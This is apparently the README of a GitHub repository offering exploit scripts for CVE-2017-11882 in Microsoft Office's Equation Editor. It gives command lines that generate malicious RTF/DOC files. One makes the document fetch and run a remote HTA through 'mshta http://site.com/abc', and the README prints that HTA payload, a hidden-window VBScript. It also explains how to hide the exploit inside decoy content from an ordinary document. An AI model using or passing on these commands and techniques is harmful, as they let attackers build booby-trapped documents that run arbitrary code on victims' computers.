lisinan988/cve-2017-11882-expExploit for CVE-2017-11882 (Microsoft Office Equation Editor) with Python scripts for generating malicious RTF/DOC files and executing arbitrary commands or shellcode via mshta.
43b original script from https://github.com/embedi/CVE-2017-11882
109b original script from https://github.com/unamer/CVE-2017-11882/ (salute, now unamer's code can execute shellcode~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
use mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
43b command length cannot exceed 43 bytes, 109b command length cannot exceed 109 bytes
example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.
Actually, the method for custom content was learned from other masters. The script was written a long time ago and was not originally intended to be made public. However, seeing that someone in the group has already posted it, there is no choice but to disclose it. The method is actually very simple: just open the normal document rtf with a text editor, copy all content before {*\datastore, replace the content before {\object\objautlink\objupdate, so it is very simple to write into a script.
Usage for adding custom content, choose any script:
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
Custom content is in input.rtf.
Regarding unamer's latest 605-byte exploit script, it will not be updated. Feel free to modify it yourself.